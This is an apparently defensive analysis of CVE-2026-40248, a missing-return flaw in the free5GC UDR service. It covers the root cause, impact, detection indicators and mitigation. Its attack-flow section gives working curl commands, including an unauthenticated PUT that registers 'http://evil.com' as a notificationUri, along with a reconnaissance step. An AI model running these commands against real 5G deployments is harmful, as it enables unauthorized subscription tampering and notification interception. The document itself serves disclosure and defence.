CVE-2026-40248: 
vulnerability analysis and mitigation

CVE-2026-40248 is an improper path validation vulnerability in the free5GC UDR (Unified Data Repository) service that allows unauthenticated attackers to create or overwrite arbitrary Traffic Influence Subscriptions via the 5G Service Based Interface (SBI). It affects free5GC versions 4.2.1 and below (UDR package github.com/free5gc/udr <= 1.4.2). The vulnerability was published on April 14, 2026, by researcher Alonza0314, with reporters Giancannella and FrancescoDAlterio credited. It carries a CVSS v3.1 score of 7.5 (High) and a CVSS v4.0 score of 8.7 (High) (GitHub Advisory, free5gc Advisory).

The root cause is a "failing open" logic error (CWE-636) combined with improper authorization (CWE-285) in the function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut within NFs/udr/internal/sbi/api_datarepository.go. The handler checks whether the influenceId path segment equals subs-to-notify, and correctly sends an HTTP 404 response when it does not — but critically omits a return statement after doing so. As a result, execution falls through to ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(), which creates or updates the subscription regardless of the failed validation. An unauthenticated attacker with network access to the SBI can send a PUT request to /nudr-dr/v2/application-data/influenceData/{anyValue}/{subscriptionId} with a crafted JSON body containing attacker-controlled notificationUri and supis fields, and the subscription will be written even though the API returns a misleading 404 response (GitHub Advisory, free5gc Advisory).

Successful exploitation allows an unauthenticated attacker to create or overwrite arbitrary Traffic Influence Subscriptions in the UDR, injecting attacker-controlled notificationUri values and arbitrary SUPIs (Subscription Permanent Identifiers). This can enable malicious redirection of policy-related notifications to attacker-controlled infrastructure, corruption of subscription state, and disruption of legitimate 5G network policy logic. The attack is particularly insidious because the API returns a misleading HTTP 404 response, making exploitation difficult to detect through standard monitoring. Any free5GC deployment where the SBI is reachable by untrusted parties — due to misconfigured network segmentation, a rogue network function, or a compromised internal host — is at risk (GitHub Advisory, free5gc Advisory).

A public proof-of-concept exploit is available in the official GitHub security advisory, consisting of concrete curl commands that demonstrate the full attack flow with no authentication required (free5gc Advisory). There is no evidence of in-the-wild exploitation at the time of publication, and no threat actor attribution has been reported. The EPSS score is approximately 0.042% (0.061% per Feedly), placing it in the 13th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

1. Reconnaissance: Identify free5GC deployments running version 4.2.1 or below where the UDR Service Based Interface (SBI) is network-accessible. Scan for the UDR HTTP endpoint (default port varies by deployment) using tools like nmap or curl probes.
2. Craft malicious PUT request: Construct a PUT request targeting the vulnerable endpoint with an arbitrary (invalid) influenceId path segment and a chosen subscriptionId:

curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/<subscriptionId>" \
  -H "Content-Type: application/json" \
  -d '{"notificationUri":"http://evil.com", "dnns":["internet"], "supis":["imsi-999999999999999"]}'

3. Observe misleading 404 response: The server returns HTTP/1.1 404 Not Found with body 404 page not found, followed by the serialized subscription object — indicating the write succeeded despite the error response.
4. Verify subscription creation: Confirm the subscription was written by querying the canonical path:

curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/<subscriptionId>"

5. Achieve objective: The attacker-controlled notificationUri is now registered in the UDR. Depending on deployment behavior, policy-related notifications may be redirected to the attacker's server, enabling interception or manipulation of 5G network policy logic (free5gc Advisory).

• Network: Unexpected PUT requests to /nudr-dr/v2/application-data/influenceData/{non-subs-to-notify-value}/{subscriptionId} on the UDR SBI port; outbound HTTP/HTTPS connections from the UDR host to unknown external URIs (attacker-controlled notificationUri endpoints).
• Logs: UDR access logs showing PUT requests returning HTTP 404 to paths where influenceId is not subs-to-notify, immediately followed by successful subscription data in the response body; repeated requests from the same source IP with varying subscriptionId values.
• Application State: Presence of unexpected Traffic Influence Subscription entries in the UDR database, particularly those with external or unknown notificationUri values, arbitrary or test-pattern SUPIs (e.g., imsi-999999999999999), or subscription IDs not created by legitimate network functions (free5gc Advisory).

No patched release was available at the time of publication; the fix requires adding a return statement after the 404 response in NFs/udr/internal/sbi/api_datarepository.go within the HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut function. Operators should monitor the free5GC repository for a patched release and apply it immediately when available. In the interim, restrict network access to the 5G SBI to only trusted internal network segments using firewall rules or network policies, preventing untrusted parties from reaching the UDR endpoint. Additionally, audit existing Traffic Influence Subscriptions for unauthorized entries (especially those with external notificationUri values or unexpected SUPIs), and implement enhanced logging and alerting on PUT requests to the influenceData endpoint (GitHub Advisory, free5gc Advisory).